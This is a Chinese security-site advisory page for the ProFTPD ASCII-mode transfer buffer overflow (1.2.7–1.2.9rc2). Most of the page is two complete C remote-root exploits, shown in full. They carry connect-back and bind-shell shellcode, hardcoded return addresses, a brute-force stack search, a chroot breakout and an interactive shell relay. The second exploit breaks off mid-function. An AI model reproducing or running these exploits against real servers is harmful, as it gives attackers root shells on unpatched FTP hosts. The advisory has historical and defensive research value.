xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

ProFTPD ASCII方式文件传送缓冲区溢出漏洞


发布时间:2003-09-23
更新时间:2003-09-24
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:8679

受影响系统
ProFTPD Project ProFTPD 1.2.7 rc3
ProFTPD Project ProFTPD 1.2.7 rc2
ProFTPD Project ProFTPD 1.2.7 rc1
ProFTPD Project ProFTPD 1.2.7    
ProFTPD Project ProFTPD 1.2.8 rc2
ProFTPD Project ProFTPD 1.2.8 rc1
ProFTPD Project ProFTPD 1.2.8    
   +Slackware Linux -current    
   +Slackware Linux 8.1          
   +Slackware Linux 9.0          
ProFTPD Project ProFTPD 1.2.9 rc2
ProFTPD Project ProFTPD 1.2.9 rc1
详细描述
ProFTPD存在一个远程可利用的缓冲区溢出漏洞,当攻击者可以上传一个恶意格式的文件并以ASCII模式下载时会触发此溢出,如果利用此漏洞成功可以使有上传权限恶意的FTP用户以FTP服务进程的权限执行任意指令。在某些情况下ProFTPD没有正确放弃权限,攻击者可以利用此漏洞获取root用户权限。

测试代码
/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Translate_Overflow  found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39         //cbshellcode ip & port offset,0 is the first
#define OFF2   70         //bindshellcode port offset,0 is the first
#define VER "1.20"

char cbshellcode[]= //from www.netric.org,and modified some code by myself
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\x41"
"\x42\x43\x44\x66\x68\xb0\xef\xb1"
"\x02\x66\x51\x90\x89\xe7\xb3\x10"
"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x51\x68\x2d\x69\x69\x70"
"\x89\xe2\x51\x52\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80";
char bindshellcode[]= //from www.netric.org,and modified some code by myself
"\x90\x90\x90\x31\xc0\x31\xdb\x31"
"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
"\x80\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";

int sockfd,sockfd1,sockfd2;
int show=0;
int mustread=0;
int getshell=0;
int pt=6000;
unsigned int type=1;
char bindmethod=0;
char usrstr[]="USER";
char passtr[]="PASS";
char ascistr[]="TYPE A";
char pasvstr[]="PASV";
char portstr[]="PORT";
char storstr[]="STOR";
char retrstr[]="RETR";
char cmdbuf[SIZE];
char srvbuf[SIZE];
char *cbhost=NULL;
char *server=NULL;
        
struct
{
char *os;
unsigned int ret;
int backup; //using for next
} targets[] =
     {
          { "rh8.0 ProFTPD 1.2.8 (stable) 1", 0xbffff25c,0},
          { "rh8.0 ProFTPD 1.2.8 (stable) 2", 0xbffff22c,0},
    },v;
//main() {}
int sendbuf(int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
int client_connect(int sockfd,char* server,int port);
void checkstatus(char *s);
void retrfile(char *s,int len,int port);
void storfile(char *s,int len,int port);
int dealpasv(char *s);
int setpasv();
void setport(char *l,int pt1);
void quit();
void storbuf(char *filename,char *buf,int size,int port);
void retrbuf(char *filename,char *buffer,int length,int port1);
void setascii();
void loginftp(char *user,char *pass);
void setfilename(char *s,int len);
int createbuffer(char *s,int len,int type,char *h);
int create_serv(int sfd,int port);
void modify(char *s,char *h,int port3);
void usage(char *s);
int execsh(int clifd);
int checklf(void *s,int len);

main(int argc,char **argv)
{
    char buffer[BIGSIZE];
    char cmdbuf[SIZE];
    char srvbuf[SIZE];
    char filename[30];
    int j,a,b,port1;
    int total;
    char c;
    char *user=NULL;
    char *pass=NULL;
    char *localip=NULL;
    
    if(argc<2) usage(argv[0]);
    while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
      {
            switch (c)
            {
              case 'd':
                  server=optarg;
                  break;
              case 't':
                  type = atoi(optarg);
                  if((type > sizeof(targets)/sizeof(v)) || (type < 1))
                       usage(argv[0]);
                  break;
             case 'u':
                  user=optarg;
                   break;
             case 'p':
                  pass=optarg;
                   break;
             case 'l':
                  localip=optarg;
                   break;
             case 'h':
                   cbhost=optarg;
                   break;
             case 'o':
                    pt=atoi(optarg) & 0xffff;
                    break;
             default:
                  usage(argv[0]);
                  return 1;
              }
          }
          if(server==NULL || user==NULL || pass==NULL || localip==NULL)
              usage(argv[0]);
       printf("@---------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s  #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com      @\n");
    printf("-----------------------------------------------------------\n");      
    printf("[+] Ret address:%p\n",targets[type-1].ret);        
          if(cbhost==NULL)
        bindmethod=1;
    else
    {
        if((int)inet_addr(cbhost)==-1)
        {
            printf("[-] Invalid connect back host/ip\n");
            exit(0);
        }
        bindmethod=0;
    }
    port1=34568;              //PORT命令的时候在本地产生的一个端口.
    sockfd=sockfd1=sockfd2=0;
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit();
    loginftp(user,pass);
    //port1=setpasv(); //get the pasv port
    setport(localip,port1);
    setfilename(filename,30);
    setascii();
    total=createbuffer(buffer,BIGSIZE,type,cbhost);
    //printf("[+] buffer data size:%d\n",total);
    storbuf(filename,buffer,total,port1);
    //stor over, then close and reconnect
    close(sockfd);
    close(sockfd1);
    close(sockfd2);
    
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
    loginftp(user,pass);
    setascii();
    
    setport(localip,port1); //get the pasv port,a new one
    mustread=total;
    retrbuf(filename,buffer,total,port1);
    readbuf("The First time read",sockfd,srvbuf,SIZE);
    port1++;
    setport(localip,port1);
    mustread=total;
    getshell=1;
    
    retrbuf(filename,buffer,total,port1);
    quit();
}
void setfilename(char *s,int len)
{
    int a;
    
    memset(s,0,len);
    a=getpid();
    sprintf(s,"%d%d%d.txt",a,a,a);
}

void retrfile(char *s,int len,int port)
{
    int i,pid;
    char data1;
    struct sockaddr_in client;
    
    memset(&client,0,sizeof(client));
    sockfd1=socket(2,1,0);
    if(create_serv(sockfd1,port)<0) quit();
    i=sizeof(client);
      sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
      printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
      memset(s,0,len);
      if(getshell==1)
    {
        if(bindmethod==0)
        {
            printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
            quit();
        }
        else
        {
            printf("[+] Waiting for a shell.....\n");
            sockfd2=socket(AF_INET,SOCK_STREAM,0);
            sleep(2);
            client_connect(sockfd2,server,pt);
            execsh(sockfd2);
            quit();
        }
    }
    readbuf(NULL,sockfd2,s,len);
      close(sockfd2);
    close(sockfd1);
    
}

void storfile(char *s,int len,int port)
{
    int i;
    struct sockaddr_in client;
    
    memset(&client,0,sizeof(client));
    sockfd1=socket(2,1,0);
    if(create_serv(sockfd1,port)<0) quit();
    //if(client_connect(sockfd1,HOST,port)<0) quit();
    i=sizeof(client);
      sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
      printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
      sendbuf(sockfd2,s,len);
      close(sockfd2);
    close(sockfd1);
}
void setport(char *l,int pt1)
{
    int a,i,b,c,j;
    char buf[30];
    
    memset(buf,0,30);
    i=sprintf(buf,"%s",l);
    for(a=0;a<i;a++)
        if(buf[a]=='.') buf[a]=',';    
    memset(cmdbuf,0,SIZE);
    b=(pt1 >> 8 ) & 0xff;
    c=pt1 & 0xff;
    j=sprintf(cmdbuf,"%s %s,%d,%d\r\n",portstr,buf,b,c);
    printf("[+] %s",cmdbuf);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);    
}

int dealpasv(char *s)
{
    int a,b,c,d,e,f,g;
    char *p1,*p2,*p3;
    int i;
    
    p1=(char *)malloc(100);
    if(!s)
        quit();    
    p2=strchr(s,'(');
    //printf("p2:%s\n",p2);
    p3=strchr(s,')');
    //printf("p3:%s\n",p3);
    p3++;
    i=p3-p2;
    memcpy(p1,p2,i);
    p1[i]='\0';
    //printf("p1:%s\n",p1);
    sscanf(p1,"(%d,%d,%d,%d,%d,%d)",&a,&b,&c,&d,&e,&f);
    //printf("a:%d,b:%d,c:%d,d:%d,e:%d,f:%d\n",a,b,c,d,e,f);
    g=(e<<8) | f;
    //printf("port:%d\n",g);
    free(p1);
    return g;
}

void quit()
{
    if(sockfd>0)
        close(sockfd);
    if(sockfd1>0)
        close(sockfd);
    if(sockfd2>0)
        close(sockfd);    
    exit(0);
}
int sendbuf(int socket,char *buffer,int len)
{
    int j;
    
    j=send(socket,buffer,len,0);
    if(j==0)
    {
        printf("[-] server closed the socket\n");
        quit();
    }    
    if(j<0)
    {
        perror("[-] Send data error");
        quit();
    }
    return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
    int a,b,i,j=0;
    
    a=b=i=0;
    memset(buffer,0,len);
    if(s)
    {
        printf("[+] %s:",s);
        fflush(stdout);
    }
    //j=lseek(socket,0,2);
    //printf("j:%d\n",j);
    if(mustread==0)
    {
        j=recv(socket,buffer,len-1,0);
        if(j==0)
        {
            if(s)
                printf("FAILED\n");
            printf("[-] server closed the socket\n");
            quit();
        }    
        if(j<0)
        {
            if(s)
                printf("FAILED\n");
            perror("[-] read data error");
            quit();
        }
        if(s)
            printf("ok\n");
        buffer[len-1]='\0';
        if(show==1)
            printf("<== %s",buffer);
    }
    else
    {
        //我们不用关心返回一些什么数据
        b=mustread-i;
        while(b>0)
        {
            
            a=b>(len-1)?(len-1):b;
            i=recv(socket,buffer,a,0);
            if(i==0)
            {
                if(s)
                    printf("FAILED\n");
                printf("[-] server closed the socket\n");
                quit();
            }    
            if(i<0)
            {
                if(s)
                    printf("FAILED\n");
                perror("[-] read data error");
                quit();
            }
            if(s)
                printf("ok\n");
            b-=i;
            j+=i;
        }
        //printf("j:%d,mustread:%d\n",j,mustread);
        if(j!=mustread)
        {
            printf("read failed\n");
            quit();
        }
    }
    //show=0;
    mustread=0;
    return j;
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;
    
    if((host=gethostbyname(server))==NULL)
    {
        printf("gethostbyname(%s) error\n",server);
        return(-1);
    }      
    
    bzero(&cliaddr,sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
    printf("[+] Trying %s:%d....",server,port);
    fflush(stdout);
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("error:%s\r\n",strerror(errno));
        close(sockfd);
        return(-1);
    }
    printf("ok\r\n");
    return(0);
}

void checkstatus(char *s)
{
    if(s==NULL)
        quit();
    if(isdigit(*s))
    {
        if(s[0]=='5')
        {    
            printf("[-] Server told:%s\n",s);
            quit();
        }
        else
            return;
    }
    printf("[-] Server said:%s\n",s);
    quit();
}

void loginftp(char *user,char *pass)
{
    int j;
    
    show=1;
    readbuf("Get banner",sockfd,srvbuf,SIZE);
    show=0;
    memset(cmdbuf,0,SIZE);
    //USER
    j=sprintf(cmdbuf,"%s %s\r\n",usrstr,user);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    //PASS
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",passtr,pass);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    printf("[+] User %s logged in\n",user);
}

int setpasv()
{
    int j,port1;
        
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s\r\n",pasvstr);
    sendbuf(sockfd,cmdbuf,j);
    readbuf("Set PASV",sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    port1=dealpasv(srvbuf); //get the pasv port
    return port1;
}

void setascii()
{
    int j;
    
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s\r\n",ascistr);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);    

}

void storbuf(char *filename,char *buf,int size,int port)
{
    int j;
    
    printf("[+] STOR file %s\n",filename);
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename);
    sendbuf(sockfd,cmdbuf,j);
    storfile(buf,size,port);
    //check if the content is send overd
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}

void retrbuf(char *filename,char *buffer,int length,int port1)
{
    int j;
    
    printf("[+] RETR file %s\n",filename);
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",retrstr,filename);
    sendbuf(sockfd,cmdbuf,j);
    
    retrfile(buffer,length,port1);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}

int createbuffer(char *s,int len,int type,char *h)
{
    int i,a,total;
    char buf[41];
    unsigned int writeaddr=targets[type-1].ret;
    
    writeaddr-=4;
    if(checklf((void *)&writeaddr,4)<0)
    {
        printf("[-] Sorry, the ret addr %p=%p-4 have '\\n' char.\n",writeaddr,writeaddr+4);
        quit();
    }
    a=i=0;
    memset(s,0,len);
    i+=3;
    *(unsigned int *)(s+i)=writeaddr+7*4;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x600;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x400;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x200;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x300;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    *(unsigned int *)(s+i)=0x90900eeb;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    //connectback shellcode,modified ip & port
    if(bindmethod==0)
    {
        modify(cbshellcode,h,pt);
        memcpy(s+i,cbshellcode,strlen(cbshellcode));
        i+=strlen(cbshellcode);
    }
    else
    {
        modify(bindshellcode,NULL,pt);
        memcpy(s+i,bindshellcode,strlen(bindshellcode));
        i+=strlen(bindshellcode);
    }
    memset(s+i,'Z',512-i);
    memset(s+512,'\n',512);
    total=1024;
    memset(buf,0,41);
    i=0;
    memset(buf,'\n',20);
    i+=20;
    *(unsigned int *)(buf+i)=writeaddr;
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr;
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr+0x800; //here,the value must great than 0x600
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr;
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr;
    //showmem(buf,40);
    for(i=0;i<1024;i++)
    {
        a=(i*40)+1024;
        memcpy(s+a,buf,40);
        total+=40;
    }
    return total;
}

int create_serv(int sfd,int port)
{
    struct sockaddr_in srvaddr;
    int on=1;
    
    bzero(&srvaddr,sizeof(struct sockaddr));
    srvaddr.sin_port=htons(port);
    srvaddr.sin_family=AF_INET;
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
    printf("[+] Listening on %d ....",port);
      fflush(stdout);
    setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));  //so I can rebind the port
    if(bind(sfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
    {
        printf("FAILED\n");
        perror("[-] Bind port error");
        return(-1);
    }
    if(listen(sfd,5)<0)
    {
        printf("FAILED\n");
        perror("[-] Listen error");
        return(-1);
    }
    printf("ok\n");
    return(0);
}

void modify(char *s,char *h,int port3)
{
    int a,b,c,d;
    if(h!=NULL)
    {
        sscanf(h,"%d.%d.%d.%d",&a,&b,&c,&d);    
        a&=0xff;
        b&=0xff;
        c&=0xff;
        d&=0xff;
        if((char)a=='\n' || (char)b=='\n' || (char)c=='\n' || (char)d=='\n')
        {
            printf("[-] Sorry, the connect back ip:%s have '\\n' char\n",h);
        }
        s[OFFSET] = a & 0xff;
        s[OFFSET+1] = b & 0xff;
        s[OFFSET+2] = c & 0xff;
        s[OFFSET+3] = d & 0xff;
        
        a=port3 >> 8 & 0xff;
        b=port3 & 0xff;
        if((char)a=='\n' || (char)b=='\n')
        {
            printf("[-] Sorry, the connect back port:%d have '\\n' char\n",port3);
            quit();
        }
        s[OFFSET+6]=a;
        s[OFFSET+7]=b;
    }
    else
    {
        a=port3 >> 8 & 0xff;
        b=port3 & 0xff;
        if((char)a=='\n' || (char)b=='\n')
        {
            printf("[-] Sorry, the bind port:%d have '\\n' char\n",port3);
            quit();
        }
        s[OFF2]=a;
        s[OFF2+1]=b;
    }
}
void usage(char *s)
{
    unsigned int a;
    char *p;
    int d=strlen(s)+1;
    
    p=(char *)malloc(d);
    memset(p,0x20,d-1);
    p[d-1]=0;
    printf("@---------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s  #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com      @\n");
    printf("-----------------------------------------------------------\n");
    printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
    printf("      %s -l <local ip> -h <cbip> -o <cbport>\n",p);
    printf("Arguments:\n");
    printf("      -d target host ip/name\n");
    printf("      -u user name\n");
    printf("      -p user paasword\n");
    printf("      -l the ip of this machine u used\n");
    printf("      -h connect back ip\n");
    printf("      -o connect back port/bind port\n");
    printf("      -t target type [default:%d]\n",type);
    printf("      ------------------------------\n");
    for(a = 0; a < sizeof(targets)/sizeof(v); a++)
        printf("         %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);  
    printf("\n");
    free(p);          
    exit(0);
}

int execsh(int clifd)
{
    fd_set fds;
    int count;
    char buffer[SIZE];
    memset(buffer,0,SIZE);
    while(1)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(clifd, &fds);
        
        if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
        {
            if (errno == EINTR) continue;
            break;
        }
        if (FD_ISSET(0, &fds))
        {
            count = read(0, buffer, SIZE);
            if (count <= 0) break;
            if (write(clifd, buffer, count) <= 0) break;
            memset(buffer,0,SIZE);
        }
        if (FD_ISSET(clifd, &fds))
        {
            count = read(clifd, buffer, SIZE);
            if (count <= 0) break;
            if (write(1, buffer, count) <= 0) break;
            memset(buffer,0,SIZE);
        }
        
    }
}
    
int checklf(void *sd,int len)
{
    char *a;
    int i=0;
    
    a=(char *)sd;
    for(i=0;i<len;i++)
        if(*(a+i)=='\n') //found it
            return -1;
    return 0;
}

/*
ProFTPd 1.2.7 - 1.2.9rc2 remote r00t exploit
--------------------------------------------
By Haggis

This exploit builds on the work of bkbll to
create a working, brute-force remote exploit
for the \n procesing bug in ProFTPd.

Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0
it works quite well... the RedHat boxes
worked on stack addresses in the 0xbffff2xx
region; the SuSE boxes were somewhat earlier
in the stack space - around 0xbfffe8xx.

This is the only public version you'll see
from Haggis@Doris - but it is very likely
that more powerful private versions will
be coded.

At present, this exploit breaks chroot (if
any) and spawns a shell bound to port 4660.

----------

This version is best run like so:

./proft_put_down -t hostname -l localIP -U incoming

where:
  
  hostname = target box
  localIP  = your IP address
  
-U incoming specifies that the exploit will attempt
to create an 'incoming' directory on the remote ftp
server and work inside that. Without it, the shell-
code will probably not work properly. You have been
warned!

It is possible to use other credentials for logging
in to remote servers; anonymous is the default.

----------

Big greets to all in #cheese on Doris (SSL only:
doris.scriptkiddie.net:6969).

Special thanks to B-r00t for testing and pointing
out a segfault, flame for letting me r00t his
RedHat 8 box and everyone else for their input.

Have a nice root.

H.
*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

#define STACK_START            0xbfffef04
#define STACK_END            0xbffff4f0
#define FTP_PORT            21
#define BINDSHELL_PORT        4660
#define SIZE                1024
#define EXPLOIT_BUF_SIZE    65535
#define DEFAULT_USER        "anonymous"
#define DEFAULT_PASS        "ftp@"
#define FAILURE                -1
#define SUCCESS                0
#define NORMAL_DOWNLOAD        1
#define EXPLOIT_DOWNLOAD    2
#define DOWNLOAD            3
#define UPLOAD                4
#define ACCEPT_TIMEOUT        5
#define SLEEP_DELAY            19999999

/*
  Leet 0-day HaggisCode (tm)
*/
char shellcode[] =
    // setuid(0); setgid(0);
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

    // fork() - parent terminates, killing proftpd and ending FTP
    // session.  This leaves the child process as a daemon...
    "\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"
    "\xdb\x31\xc0\xb0\x01\xcd\x80"

    // Finally, bind a shell to port 4660.
    // This is a hacked version of the bindshell code by BigHawk.
    "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
    "\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
    "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
    "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
    "\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0"
    "\x0b\xcd\x80";

int controlSock, passiveSock;
int currentPassivePort=32769;
int currentServerPort=31337;
int exploitBufLen;
int attemptNumber=0;
int ftpPort=FTP_PORT;
unsigned int stackWriteAddr, retAddr;
char serverBuf[SIZE];
char exploitBuf[EXPLOIT_BUF_SIZE];
char uploadPath[SIZE]="";
char filename[SIZE*2];
char *server=NULL;
char *user=DEFAULT_USER;
char *pass=DEFAULT_PASS;
char *localIP=NULL;
char errorBuf[SIZE];

int connect_to_server(int port);
int login_to_server();
int set_passive_mode(int mode);
int set_ascii_mode();
int set_path_and_filename();
int check_for_linefeed();
int check_status();
int create_passive_server();
int create_exploit_buffer();
int upload_file();
int download_file(int mode);
void usage(char *s);
int do_remote_shell(int shellSock);
void status_bar(char *info);
int timeout_accept(int s, struct sockaddr *sa, int *f);
void my_send(int s, char *b, ...);
void my_recv(int s);
void my_sleep(int n);
void doris_chroot_breaker();

int main(int argc,char **argv)
{
    int sleepMode=0;
    char c;
    unsigned int stackStartAddr=STACK_START;

    if(argc<2) usage(argv[0]);
    while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
        switch (c) {
            case 't':
                server=optarg;
                break;
            case 'u':
                user=optarg;
                break;
            case 'p':
                pass=optarg;
                break;
            case 'l':
                localIP=optarg;
                break;
            case 's':
                sleepMode=1;
                break;
            case 'U':
                strncpy(uploadPath,optarg,SIZE);
                break;
            case 'P':
                ftpPort=atoi(optarg);
                break;
            case 'S':
                stackStartAddr=strtoul(optarg, NULL, 16);
                break;
            default:
                usage(argv[0]);
                return 1;
        }
    }
    if(server==NULL || localIP==NULL)
        usage(argv[0]);

    printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
    printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");

    doris_chroot_breaker();
    for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {

        if(check_for_linefeed()==FAILURE)
            continue;

        retAddr=stackWriteAddr+200; // good enough for show business
        
        if((controlSock=connect_to_server(ftpPort))==FAILURE) {
            perror("\n\nFailing to connect to remote host\n");
            exit(1);
        }

        if(login_to_server()==FAILURE) {
            close(controlSock);
            printf("\nERROR: Login failed.\n");
            exit(1);
        }

        if(set_passive_mode(UPLOAD)==FAILURE)
            goto err;
        if(set_ascii_mode()==FAILURE)
            goto err;
        if(set_path_and_filename()==FAILURE)
            goto err;

        // create the buffer containing RET for this
        // brute-force iteration
        create_exploit_buffer();

        if(upload_file()==FAILURE)
            goto err;
        close(controlSock);

        // Connect again, then login, set ASCII mode and download the exploit file.
        // This will trigger the overflow; as a result, we've
        // corrupted the memory pool of this session and when we
        // download the file again, the stack area will be overwritten
        // and we control the saved EIP.

        if((controlSock=connect_to_server(ftpPort))<0) {
            perror("\nFailed to connect to remote host\n");
            exit(1);
        }
        
        login_to_server(user,pass);
        set_path_and_filename();
        if(set_ascii_mode()==FAILURE)
            goto err;
        if(set_passive_mode(DOWNLOAD)==FAILURE)
            goto err;
        if(sleepMode)
            sleep(10);
        if(download_file(NORMAL_DOWNLOAD)==FAILURE)
            goto err;

        // Finally, read the file again. This will trigger the stack
        // overwrite (NOT the overflow, that happened earlier). We could
        // control EIP at this point and r00t may be only heartbeat away...

        if(set_passive_mode(DOWNLOAD)==FAILURE)
            goto err;
        if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
            goto err;
    err:    
        close(controlSock);
    }

    // This is only reached if the bruteforce fails.
    // delete the exploit files here

    printf("\n\nNo r00t for you today I'm afraid.\n");
    exit(1);
}

void status_bar(char *info) {
    printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]\r",info, stackWriteAddr,retAddr);
    fflush(stdout);
}

int set_path_and_filename()
{
    status_bar("Setting filename");
    if(strcmp(uploadPath,"")) {
        my_send(controlSock, "CWD %s\r\n",uploadPath);
        my_recv(controlSock);
    }
    snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
    return SUCCESS;
}

int download_file(int mode)
{
    int len, localServerSock, dataSock, bindShellSock;
    struct sockaddr_in localServer;

    status_bar("Downloading");
    // Ask the victim server to send us the exploit file
    my_send(controlSock, "RETR %s\r\n", filename);

    // Create a listening server on our passive port to
    // receive the data
    memset(&localServer,0,sizeof(localServer));
    localServerSock=create_passive_server();
    len=sizeof(localServer);

    // Wait for a few seconds for the victim server to contact us...
    if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
        close(localServerSock);
        return FAILURE;
    }

    // If the mode is EXPLOIT_DOWNLOAD, then this is the
    // second attempt at downloading... that means we might
    // have a shell waiting for us on the victim server, so
    // we try to connect to it
    if(mode==EXPLOIT_DOWNLOAD) {
        if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
            printf("\nConnected! You are r00t...\n");
            do_remote_shell(bindShellSock);
            printf("\nDid you have a nice time?\n");
            exit(0);
        }    
        close(dataSock);
        close(localServerSock);
        return SUCCESS;
    }
    // If the mode is NORMAL_DOWNLOAD, then just clean up the
    // connection by receiving the file from the server; closing
